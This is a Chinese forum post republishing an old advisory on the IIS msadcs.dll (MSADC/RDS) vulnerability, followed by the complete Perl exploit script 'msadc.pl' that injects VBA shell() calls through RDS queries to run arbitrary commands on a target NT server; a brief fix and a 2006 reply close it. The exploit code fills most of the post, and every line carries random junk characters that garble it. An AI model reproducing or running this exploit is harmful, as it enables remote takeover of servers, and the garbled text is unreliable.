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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) cYe2 a "  
]\A=[T^  
涉及程序: #NGtba  
Microsoft NT server 7&wxnxSk^  
I{>Z0+  
描述: :_:)S  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 %72(gR2Wa2  
8>LDo"<  
详细: 3**t'iWQ  
如果你没有时间读详细内容的话,就删除: G 4~@  
c:\Program Files\Common Files\System\Msadc\msadcs.dll VF";p^  
有关的安全问题就没有了。 L(cKyg[R  
RSbq<f>BFo  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 |<,0*2  
ti6X=@ P:  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 @_$$'XA7  
关于利用ODBC远程漏洞的描述,请参看: oQ/T5cOj  
oIx|)[  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm (~{Y}n]s  
94dd )/a  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 ,%N[FZ`|  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp C96*,.j~'  
0A~UuH0.  
这里不再论述。 3(|,:"9g  
$N}t)iA  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: ~/)]`w  
dI%ho<zm]  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset m a@V>*u  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! #qF 1z}L(  
=Hn--DEMg  
/3^XJb$Sa  
#将下面这段保存为txt文件,然后: "perl -x 文件名" ~$C<^?"b  
Gos# =H  
#!perl Y@#N_]oXj  
# AkW>*x  
# MSADC/RDS 'usage' (aka exploit) script BY[7`@  
# t2OBVzK  
# by rain.forest.puppy na8`V`77  
# IzUpkwN  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me f.^|2T I1g  
# beta test and find errors! 73 .+0x  
Sew*0S(  
use Socket; use Getopt::Std; GH-Fqz  
getopts("e:vd:h:XR", \%args); P7,g^:$  
Br}@Vvq@  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; ENr#3+m$;  
#\}FQl6  
if (!defined $args{h} && !defined $args{R}) { Ug546Bz  
print qq~ {5{VGAD&]>  
Usage: msadc.pl -h <host> { -d <delay> -X -v } na~ FT[3 C  
-h <host> = host you want to scan (ip or domain) Me? I8:/  
-d <seconds> = delay between calls, default 1 second k[ D,du')  
-X = dump Index Server path table, if available jVN06,3z  
-v = verbose NQ[X=a8N  
-e = external dictionary file for step 5 ZYY2pY 1  
P*7G?  
Or a -R will resume a command session Y Z8[h`z  
>K4Nn(~ys  
~; exit;} 0&I*)Zt9x  
Ly^bP>2i  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; )D/ ,QWk  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} w}OBp^V^  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} cUG^^3!  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); F@q9UlfB-  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} /Mw;oP{&b  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } %dW ;P[0  
uQx/o ^  
if (!defined $args{R}){ $ret = &has_msadc; B|"i`{>  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} i.Y2]1  
BLaNS4e  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" n-jPb064  
. "cmd /c "; ,vf#e= Z  
$in=<STDIN>; chomp $in; 'm6bfS^T  
$command="cmd /c " . $in ; Lp(`m=;O  
hbvcIGaT  
if (defined $args{R}) {&load; exit;} '1b)(IW  
9@ fSO<  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; CR9wp] -Vd  
&try_btcustmr; % PB{jo  
P/1YN  
print "\nStep 2: Trying to make our own DSN..."; 1|xe'w{  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; D^m2iW;  
0?/gEr  
print "\nStep 3: Trying known DSNs..."; ^zO{Aks  
&known_dsn; 'fb\t,  
FI?J8a  
print "\nStep 4: Trying known .mdbs..."; c;X,-Q9  
&known_mdb; (2> q  
vWESu4W`L  
if (defined $args{e}){ ~!PWJ~U  
print "\nStep 5: Trying dictionary of DSN names..."; L YB @L06a  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } EZI#CLT[  
$<2d|;7r  
print "Sorry Charley...maybe next time?\n"; SZ[?2z  
exit; UxHI6,b  
SDE+"MjBY  
############################################################################## e<9 ^h)G  
.$}z</#!  
sub sendraw { # ripped and modded from whisker =d ;#Nu-  
sleep($delay); # it's a DoS on the server! At least on mine... 5rck]L'  
my ($pstr)=@_; |36%B7H  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || d;gs1]E50  
die("Socket problems\n"); gU|:Y&lFZg  
if(connect(S,pack "SnA4x8",2,80,$target)){ xcmg3:s  
select(S); $|=1; FA{Q6fi:2  
print $pstr; my @in=<S>; G]k[A=dg  
select(STDOUT); close(S); @SxZ>|r-|v  
return @in; :*]#n  
} else { die("Can't connect...\n"); }} XK/l1E3N  
j;y(to-e>D  
############################################################################## u4xtlGt5  
)mwwceN  
sub make_header { # make the HTTP request pA_u;*  
my $msadc=<<EOT ~? aFc)  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 A~nqSe  
User-Agent: ACTIVEDATA sPW :[  
Host: $ip uk$MQ v*D  
Content-Length: $clen H3R{+7  
Connection: Keep-Alive 59j`Z^e  
 {p/Yz#  
ADCClientVersion:01.06 +kYp!00  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 ]k]bLyz\J  
B1~`*~@  
--!ADM!ROX!YOUR!WORLD! K*DH_\SPK  
Content-Type: application/x-varg \ Xh C  
Content-Length: $reqlen )6p6<y  
Nb ~J'"  
EOT b,+KXx  
; $msadc=~s/\n/\r\n/g; zT&"rcT">  
return $msadc;} e }C,)   
*@#Gc%mGu  
############################################################################## N]iarYc  
ETU-6qFtO  
sub make_req { # make the RDS request B%Qo6*b  
my ($switch, $p1, $p2)=@_; EU:N9oT  
my $req=""; my $t1, $t2, $query, $dsn; ub>:dNBN  
Qu'#~#L`  
if ($switch==1){ # this is the btcustmr.mdb query H#YI7l2  
$query="Select * from Customers where City=" . make_shell(); /"A=Yf  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . ai?J  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} 2Ul8<${c{  
EHf,VIC8  
elsif ($switch==2){ # this is general make table query V~/@KU8cH  
$query="create table AZZ (B int, C varchar(10))"; ~:Z|\a58j  
$dsn="$p1";} NV/paoyx:*  
iOv>g-t:  
elsif ($switch==3){ # this is general exploit table query =e#h;x2  
$query="select * from AZZ where C=" . make_shell(); n]4Elrxx  
$dsn="$p1";} (#>X*~6  
Fyw X  
elsif ($switch==4){ # attempt to hork file info from index server u5rvrn ]  
$query="select path from scope()"; ZaY|v-  
$dsn="Provider=MSIDXS;";} <h#W*a  
)ej1)RU"  
elsif ($switch==5){ # bad query  Hk4k  
$query="select"; ;Qt/(/  
$dsn="$p1";} ](s5 ;ta   
.K4)#oC  
$t1= make_unicode($query); T`]%$$1s  
$t2= make_unicode($dsn); _qf~ hhi  
$req = "\x02\x00\x03\x00"; `0U\|I#  
$req.= "\x08\x00" . pack ("S1", length($t1)); WO%pX+PoH  
$req.= "\x00\x00" . $t1 ; d\3 %5Y  
$req.= "\x08\x00" . pack ("S1", length($t2)); 1QmOUw}yj  
$req.= "\x00\x00" . $t2 ; d ]|K%<+(  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; _>`9]6\&  
return $req;} @,,G]4zZ!  
I`IW^eZM  
############################################################################## BH}Cx[n?~  
"eTALRL'o  
sub make_shell { # this makes the shell() statement cj GN=|`u  
return "'|shell(\"$command\")|'";} *u|1Z%XO  
PPG+~.7  
############################################################################## |n;);T(  
1I'Q{X&B  
sub make_unicode { # quick little function to convert to unicode OYWHiXE6]  
my ($in)=@_; my $out; V73/q  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } PeiRe  
return $out;} > JA-G@3i  
|LLpG37_  
############################################################################## |dHtv6I  
9wf"5c  
sub rdo_success { # checks for RDO return success (this is kludge) +U ziO#D  
my (@in) = @_; my $base=content_start(@in); _0^>^he  
if($in[$base]=~/multipart\/mixed/){ `q^qe>'  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} k_u!E3{~  
return 0;} 7uw-1F5x7  
Z6Mjc/  
############################################################################## W)f=\.7  
vmNI$ KZM  
sub make_dsn { # this makes a DSN for us b5%<},ySq  
my @drives=("c","d","e","f"); l0t(t*[Mj  
print "\nMaking DSN: "; B<.\^f uS  
foreach $drive (@drives) { R87@.  
print "$drive: "; mc2uI-W  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . y?r`[{L(lA  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" M/[_~  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); ~AaEa,LQ  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; ?ZC!E0]  
return 0 if $2 eq "404"; # not found/doesn't exist MK Sw  
if($2 eq "200") { lq3D!+ m  
foreach $line (@results) { )AcevEHB  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} WB'1_a  
} return 0;} {=d}04i)E"  
2auJp .  
############################################################################## lZIJ[.  
jzpDKc%  
sub verify_exists { J_yXL7d  
my ($page)=@_; `w4'DB-R)  
my @results=sendraw("GET $page HTTP/1.0\n\n"); ]i,o+xBKH  
return $results[0];} @C=gMn.E  
&k_LK  
############################################################################## AH'3 5Kf)  
byt$Wqdl  
sub try_btcustmr { 7J6Z?  
my @drives=("c","d","e","f"); F_w+8)DZ  
my @dirs=("winnt","winnt35","winnt351","win","windows"); Bnwq!i!M  
JP( tf+  
foreach $dir (@dirs) { ;C1#[U1Uy  
print "$dir -> "; # fun status so you can see progress T)q Uf H  
foreach $drive (@drives) { mb3aUFxA;  
print "$drive: "; # ditto 2PeMt^  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; !^NZp%Yd  
$reqlenlen=length( "$reqlen" ); Hiwij,1  
$clen= 206 + $reqlenlen + $reqlen; oz]3 Tx  
v/~&n  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); 8[AU`F8W  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} An?#B4:  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} 2Rwd\e.z  
`) ],FE*:  
############################################################################## 2(\PsN w!  
6M_ W(  
sub odbc_error { q6sb;?I  
my (@in)=@_; my $base; A{)pzV25  
my $base = content_start(@in); y eIS}O  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this !or_CJ8%  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; %c]N-  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; !L9]nO 'BL  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; c}),yQ|!:  
return $in[$base+4].$in[$base+5].$in[$base+6];} yEh{9S%6p  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; vy={ziJ  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . "u$XEA  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} 87S,6Y  
x}WP1YyT~  
############################################################################## ;[P>  
5f0g7w =-  
sub verbose { #M#$2Vt  
my ($in)=@_; x)$0Nr62D  
return if !$verbose; t3^`:T\  
print STDOUT "\n$in\n";} q&6|uV])H  
R@Gll60  
############################################################################## H!"TS-s`  
g$Vr9MH  
sub save { V)5,E>;EN  
my ($p1, $p2, $p3, $p4)=@_; SE i\H$ !  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; ?< yYm;B  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; 8vR'<_>Q  
close OUT;} z9 #-  
69:-c@ L0  
############################################################################## X6w+L?A  
- 3PLP$P  
sub load { ([rSYKpi  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; <:nyRy}  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); HFyQ$pbBU  
@p=<IN>; close(IN); !OPHS^L  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); %yfl-c(u  
$target= inet_aton($ip) || die("inet_aton problems"); b *0uxvLu  
print "Resuming to $ip ..."; #< :`:@2  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; >X:!Y[N  
if($p[1]==1) { K]yWpW  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; ",Mrdxn7  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; 9FNsW$b?  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); =;I+: K  
if (rdo_success(@results)){print "Success!\n";} #bG6+"g{=L  
else { print "failed\n"; verbose(odbc_error(@results));}} {0/2Hw n  
elsif ($p[1]==3){ 8gt*`]I  
if(run_query("$p[3]")){ Bzt:9hr6BO  
print "Success!\n";} else { print "failed\n"; }} qJonzFp7  
elsif ($p[1]==4){ \x4:i\Fx@  
if(run_query($drvst . "$p[3]")){ DVg$rm`  
print "Success!\n"; } else { print "failed\n"; }} ?Oy0p8  
exit;} cCx{ ")  
,-(D (J;}1  
############################################################################## Ayn$,  
EDnZ/)6Gg  
sub create_table { DC BN89#  
my ($in)=@_; 'q}f3u>  
$reqlen=length( make_req(2,$in,"") ) - 28; vE#8&Zq  
$reqlenlen=length( "$reqlen" ); ?X\.O-=4X  
$clen= 206 + $reqlenlen + $reqlen; i<tJG{A=  
my @results=sendraw(make_header() . make_req(2,$in,""));  [Ne'2z  
return 1 if rdo_success(@results); s0x/2z  
my $temp= odbc_error(@results); verbose($temp); =h ~n5wQG  
return 1 if $temp=~/Table 'AZZ' already exists/; bd27])n(  
return 0;} 1Q9Hs(s  
i tk/1  
############################################################################## ?0JNaf  
[^/a`Kda8  
sub known_dsn { 2_M+o]Z^  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go }o[<1+W(.  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", SwO$UqYU=  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", CS-jDok  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); Ar?ZUASJ  
_T8S4s8q  
foreach $dSn (@dsns) { Wy-y-wi:p  
print "."; ;<b7kepR  
next if (!is_access("DSN=$dSn")); C#)T$wl[E  
if(create_table("DSN=$dSn")){ 9~a5R]x2  
print "$dSn successful\n"; P-8QXDdr  
if(run_query("DSN=$dSn")){ &u6n5-!v  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { =i;T?*@  
print "Something's borked. Use verbose next time\n";}}} print "\n";} OpIeo+^X*  
/P]N40_@  
############################################################################## CM[83>  
O2 + K  
sub is_access { vfmY >nr  
my ($in)=@_; C"s-ttP   
$reqlen=length( make_req(5,$in,"") ) - 28; 2:nI4S  
$reqlenlen=length( "$reqlen" ); w5/6+@}  
$clen= 206 + $reqlenlen + $reqlen; [>3dhj[;  
my @results=sendraw(make_header() . make_req(5,$in,"")); b9-3  
my $temp= odbc_error(@results); Y}Y~?kE>M|  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); L?&&4%%  
return 0;} zh\"sxL  
9v3n4=gc  
############################################################################## t6\--lk_  
tuuwoiQ*`  
sub run_query { Gui[/iY,F  
my ($in)=@_; `f~$h?}3-@  
$reqlen=length( make_req(3,$in,"") ) - 28; Lz:FR*  
$reqlenlen=length( "$reqlen" ); YH^@8   
$clen= 206 + $reqlenlen + $reqlen; EQ :>]O  
my @results=sendraw(make_header() . make_req(3,$in,"")); -Xw S?*O  
return 1 if rdo_success(@results); xpwy%uo  
my $temp= odbc_error(@results); verbose($temp); E m+&I  
return 0;} &_hEM~{  
 +`ov1h  
############################################################################## SK 5]7C2  
|m@>AbR5dk  
sub known_mdb { +StsSZ  
my @drives=("c","d","e","f","g"); 8?: 2<  
my @dirs=("winnt","winnt35","winnt351","win","windows"); +|5 O b  
my $dir, $drive, $mdb; .4$F~!aj9  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; [*0M$4  
)vVf- zU  
# this is sparse, because I don't know of many WQD:~*C:  
my @sysmdbs=( "\\catroot\\icatalog.mdb", 1cRF0MI  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", HNj;_S  
"\\system32\\certmdb.mdb", h9iQn<lp4.  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% 5tZ0zr  
,\#s_N 7  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", qcQq.cS_'N  
"\\cfusion\\cfapps\\forums\\forums_.mdb", U^U hZ!  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", BB(v,W  
"\\cfusion\\cfapps\\security\\realm_.mdb", DVKb`KJ"  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", `R.Pz _oe  
"\\cfusion\\database\\cfexamples.mdb", hk S:_e=  
"\\cfusion\\database\\cfsnippets.mdb", UTN[! 0[  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", .P?n<n#  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", g)|vS>^~  
"\\cfusion\\brighttiger\\database\\cleam.mdb", k"/Rjd(;  
"\\cfusion\\database\\smpolicy.mdb", 9e vQQN6D|  
"\\cfusion\\database\cypress.mdb", )N1iGJO)  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", A^LS^!Jz  
"\\website\\cgi-win\\dbsample.mdb", 5IFzbL#q#f  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", +/]*ChrS  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" }#g+~9UK  
); #these are just X-TGrdoX  
foreach $drive (@drives) { +o"CMI  
foreach $dir (@dirs){ R(cg`8  
foreach $mdb (@sysmdbs) { .c__T {<)[  
print "."; d\JB jT1g  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ Z 5)v  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; V d]7v  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ R osU~OK  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; O/d]2<V  
} else { print "Something's borked. Use verbose next time\n"; }}}}} -!li,&,A1  
>+Iph2]  
foreach $drive (@drives) { nLv~)IQ}:  
foreach $mdb (@mdbs) { Fpeokr"i  
print "."; ;c DMcKKIA  
if(create_table($drv . $drive . $dir . $mdb)){ 2efdJ&eIV  
print "\n" . $drive . $dir . $mdb . " successful\n"; BF;}9QebmS  
if(run_query($drv . $drive . $dir . $mdb)){ /;1O9HJa  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; *rHz/& ,  
} else { print "Something's borked. Use verbose next time\n"; }}}} _9p79S<+  
} d"Wuu1tEY  
NuUiW*|`7  
############################################################################## z 1^fG)  
,tg(aL  
sub hork_idx { HJ0;BD.]  
print "\nAttempting to dump Index Server tables...\n"; 6%>'n?  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; @EyB^T/  
$reqlen=length( make_req(4,"","") ) - 28; `NEi/jB  
$reqlenlen=length( "$reqlen" ); IA[:-2_  
$clen= 206 + $reqlenlen + $reqlen; *p#@W-:9E  
my @results=sendraw2(make_header() . make_req(4,"","")); [^6z>  
if (rdo_success(@results)){ Iw h0PfWJ  
my $max=@results; my $c; my %d; :M f8q!Q'  
for($c=19; $c<$max; $c++){ -o{ x ;:4  
$results[$c]=~s/\x00//g; p4UEhT  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; e5n]@mu%  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; <m VFC  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; 2k^rZ^^"  
$d{"$1$2"}="";} }Q]-Y :  
foreach $c (keys %d){ print "$c\n"; } @pYC!;n+  
} else {print "Index server doesn't seem to be installed.\n"; }} la!U  
-"i $^Q`  
############################################################################## rXE0jTf:a  
[6_.Y*}N  
sub dsn_dict {  .P")S|  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); mU?~s7  
while(<IN>){ lz36;Fp  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; 8~s0%%{,M  
next if (!is_access("DSN=$dSn")); d,Oagx  
if(create_table("DSN=$dSn")){ HX}B#T  
print "$dSn successful\n"; /93z3o7D>  
if(run_query("DSN=$dSn")){ gH\>", [  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { l}/&6hI+d  
print "Something's borked. Use verbose next time\n";}}} 8TP~=qU  
print "\n"; close(IN);} '` 2MxRP  
ZX1/6|_  
############################################################################## 1TR+p? "  
| B*B>P#  
sub sendraw2 { # ripped and modded from whisker Bmcc SC;o4  
sleep($delay); # it's a DoS on the server! At least on mine... m6$&yKQ-=h  
my ($pstr)=@_; DLqH*U  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || Vwh ;QJxb  
die("Socket problems\n"); bDJ!Fc/  
if(connect(S,pack "SnA4x8",2,80,$target)){ q1x[hv3 pP  
print "Connected. Getting data"; ~9yK MUf  
open(OUT,">raw.out"); my @in; g}gGm[1SUo  
select(S); $|=1; print $pstr; m{X{h4t  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} S<cz2FlV  
close(OUT); select(STDOUT); close(S); return @in; Jvsy 6R  
} else { die("Can't connect...\n"); }} z>,M@@  
 ^RT_Lky  
############################################################################## Y&U-d{"  
dzAumWoh  
sub content_start { # this will take in the server headers SG|AJ9  
my (@in)=@_; my $c; \ERxr   
for ($c=1;$c<500;$c++) { F8{gJaP x  
if($in[$c] =~/^\x0d\x0a/){ @fp@1n  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } k3@d = k  
else { return $c+1; }}} i$@xb_  
return -1;} # it should never get here actually D6&P9e_5  
&B[*L+-E  
############################################################################## Dr V[1Z  
O2p E"8=4Q  
sub funky { +_cigxpTc  
my (@in)=@_; my $error=odbc_error(@in); &|ne!wu  
if($error=~/ADO could not find the specified provider/){ V:J|shRo  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; 8Q<Nl=g>'  
exit;} <PuY"-`/Oc  
if($error=~/A Handler is required/){ V4ePYud;^  
print "\nServer has custom handler filters (they most likely are patched)\n"; n_RZ:<Gr  
exit;} N0kCdJv  
if($error=~/specified Handler has denied Access/){ W)/f5[L  
print "\nServer has custom handler filters (they most likely are patched)\n"; 3'`&D/n  
exit;}} Y$n+\K  
r,0D I  
############################################################################## %aK[Yvo6  
Xy 4k;+  
sub has_msadc { 6'/ Zq  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); p}1gac_c  
my $base=content_start(@results);  ] ?D$n  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); F9K`N8wlu  
return 0;} iv6G9e{cx  
,&=7ir14>R  
######################## Xn%7{%;h  
Ao`e{  
`^hA&/1  
解决方案: :.XlAQR~b  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll  ~,&8)1  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 f&^}yqmuE  
*qSvSY*  
拿出来充数 哈哈
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